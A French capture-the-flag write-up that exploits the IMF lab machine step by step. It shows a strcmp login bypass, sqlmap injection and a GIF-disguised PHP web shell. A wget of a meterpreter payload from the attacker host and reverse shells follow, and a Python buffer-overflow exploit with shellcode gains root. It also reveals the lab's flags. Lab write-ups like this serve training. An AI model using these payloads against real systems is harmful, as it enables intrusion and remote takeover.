IMF - Write Up
Reconnaissance
Nmap -sS -A 192.168.43.39 Seul le port 80 est ouvert : Apache/2.4.18 (Ubuntu) Server at 192.168.43.39 Port 80
Exploitation web
Dans les sources de la page on remarque que le nom des fichiers js semblent suspect :
<script src="js/vendor/modernizr-2.6.2.min.js"></script> <script src="js/vendor/jquery-1.10.2.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/ZmxhZzJ7YVcxbVl.js"></script> <script src="js/XUnRhVzVwYzNS.js"></script> <script src="js/eVlYUnZjZz09fQ==.min.js"></script> <script>
Si on les décode en base64 on obtient :
echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==}
echo 'aW1mYWRtaW5pc3RyYXRvcg==' | base64 -d imfadministrator
Effectivement un dossier imfadministrator existe bien et il nous demande une authentification.
Dans les sources , un commentaire exclu le fait de bypasser l'authentification avec une injection SQL.
<form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form>
Nous partons à la pêche aux informations et sur la page contact on trouve :
Nous avons donc potentiellement trois noms de compte :
Pour bypass l'authentification nous allons utilisons un faille de comparaison sur la fonction strcmp.
http://192.168.43.39/imfadministrator/ post : user=rmichaels&pass[]=abc
Notre authentification est bien bypassée.
On decode le flag :
echo 'Y29udGludWVUT2Ntcw==' | base64 -d continueTOcms
On test le paramètre pagename de l'url
http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist'
Une injection sql est possible.
On exploite l'injection avec sqlmap :
./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --columns Database: admin Table: pages [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | int(11) | | pagedata | text | | pagename | varchar(255) | +----------+--------------+
On récupère le contenu de la table pages :
./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --dump Database: admin Table: pages [4 entries] +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | pagename | pagedata | +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | upload | Under Construction. | | 2 | home | Welcome to the IMF Administration. | | 3 | tutorials-incomplete | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training. | | 4 | disavowlist | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary | +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
On va visiter la nouvelle page découverte :
http://192.168.43.39/imfadministrator/cms.php?pagename=tutorials-incomplete
On décode le QRcode dans la photos avec le site https://zxing.org/w/decode
On obtient :
flag4{dXBsb2Fkcjk0Mi5waHA=}
On décode le base64 :
echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d uploadr942.php
On va sur la page :
http://192.168.43.39/imfadministrator/uploadr942.php
L'upload n’accepte que les extensions en .gif
Pour uploader notre script php il faut le préparer.
On créé un fichier gif :
echo "FFD8FFE0" | xxd -r -p > shell_wu2.gif
On insère notre script php dedans :
echo '<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>' >> shell_wu2.gif
Une fois uploadé dans le code source de la page on remarque :
<body> <h1>Intelligence Upload Form</h1> File successfully uploaded. <!-- 566e7e83b57e --><form id="Upload" action="" enctype="multipart/form-data" method="post"> <p>
Notre fichier se situe sur le serveur à l'url suivante :
http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif
On génère un reverse shell avec metasploit :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=8080 -f elf > shell2.elf
On démarre un serveur web python sur notre machine :
python -m SimpleHTTPServer 80
Nous allons demander à notre backdoor de récupérer notre reverse shell et de lui mettre les pleins droits :
http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=wget 192.168.43.172/shell2.elf http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=chmod 777 shell2.elf
Sur notre machine on ouvre un listener msf avec comme payload linux/x86/meterpreter/reverse_tcp
use exploit/multi/handler set lhost 192.168.43.172 set lport 8080 set payload linux/x86/meterpreter/reverse_tcp run
Nous exécutons notre reverse shell :
http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=./shell2.elf
On passe en mode shell :
meterpreter>shell
Exploitation système & Élévation de privilège
On affiche le flag n°5 :
www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt flag5{YWdlbnRzZXJ2aWNlcw==}
On le décode en base64 :
echo 'YWdlbnRzZXJ2aWNlcw==' | base64 -d agentservices
Si on regarde les connexions de la machine :
netstat -plnt Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 2167/nc tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
Le soft agent tourne sur le port 7788 accessible uniquement en local
Il se situe dans le dossier : /usr/local/bin
On récupère le fichier :
meterpreter> /user/local/bin/agent .
On le décompile sur https://retdec.com/decompilation/
int main(int argc, char ** argv) { setbuf((struct _IO_FILE *)g2, NULL); int32_t str2; asprintf((char **)&str2, "%i", 0x2ddd984); puts(" ___ __ __ ___ "); puts(" |_ _| \\/ | __| Agent"); puts(" | || |\\/| | _| Reporting"); puts(" |___|_| |_|_| System\n"); printf("\nAgent ID : "); int32_t str; if (fgets((char *)&str, 9, g1) == NULL) { // 0x8048746 return -1; } // 0x80486ad if (strncmp((char *)&str, (char *)str2, 8) != 0) { // 0x80486c6 puts("Invalid Agent ID "); // branch -> 0x8048746 // 0x8048746 return -2; }
0x2ddd984 vaut 48093572 en int
Lorsque on lance l’exécutable, il nous demande un identifiant :
On lui donne l'id 48093572
Cela fonctionne. Maintenant il va falloir trouver comme exploiter les différents options pour obtenir des privilèges root.
On le debug en local avec gdb.
Le but est de trouver un buffer overflow dessus.
gdb ./agent
Création d'un pattern avec gdb
gdb> pattern_create 300 A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4 gdb> r
On entre le code ci-dessus, on choisit l'option 3 et on colle le pattern.
On obtient un segfault. On va donc chercher où se situe le buffer overflow :
gdb-peda$ pattern_search Ab0Ab1 Registers contain pattern buffer EIP+0 found at offset: 168 EBP+0 found at offset: 164
EIP est réécrit à partir de 168 caractères.
On prend l'adresse de eax :
jmpcall eax 0x8048563: call eax
On regarde si il y a des éventuels sécurités :
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
Il n'y a pas de protections.
Le logiciel “agent” tourne en local sur le port 7788, on mappe le port avec meterpreter :
meterpreter> portfwd add -l 7788 -p 7788 -r 127.0.0.1
Si on fait “nc 127.0.0.1 7788” sur notre pc on tombe bien sur le logiciel.
On génère le payload contenu dans notre exploit :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=1234 -f python -b “\x00\x0a\x0d”
Les caractères en hexa à la fin (bad-char) empêche de mettre des null bytes et des retours à la ligne dans le payload.
On rédige notre exploit (cf exploit.py) (ajout des sockets de connexion et de l'adresse de eax)
import socket imf = socket.socket(socket.AF_INET, socket.SOCK_STREAM) imf.connect(("localhost", 7788)) imf.recv(1024) imf.send("48093572\n") imf.recv(1024) imf.send("3\n") imf.recv(1024) buf = "" buf += "\xdb\xc1\xbf\x45\x74\x9d\x26\xd9\x74\x24\xf4\x5d\x31" buf += "\xc9\xb1\x12\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2" buf += "\xb0\x45\x46\xd1\xd9\xf5\x3b\x4d\x77\xf8\x0b\x17\x0e" buf += "\x1d\xa6\x58\x87\x85\x51\x99\x0f\x12\x0e\x71\x4d\x65" buf += "\x4a\x50\xd8\x84\x38\x32\x82\x16\xec\xed\xbb\x76\x4d" buf += "\xdf\x3b\xca\x55\x66\x3b\x3b\x5a\x98\xb2\xd8\x9b\x73" buf += "\xc8\xdf\xff\x88\x60\xa2\x32\x10\xdb\xd4\x2c\x88\x6d" buf += "\xea\x1e\xa8\x5c\x73\xa1\x4e" buf+= "\x90"*(168-len(buf))+"\x63\x85\x04\x08\n" #send exploit imf.send(buf) print "Payload Sent |+| Check Sessions."
On met le listener en place avec metasploit sur le port 1234 :
use exploit/multi/handler set lhost 192.168.43.172 set lport 1234 set payload linux/x86/meterpreter/reverse_tcp run
On exécute notre exploit:
python exploit.py
Nous obtenons une session meterpreter avec les droits root.
On affiche le dernier flag :
root@imf:/# cat /root/Flag.txt flag6{R2gwc3RQcm90MGMwbHM=}
On décode le dernier flag :
echo 'R2gwc3RQcm90MGMwbHM=' | base64 -d Gh0stProt0c0ls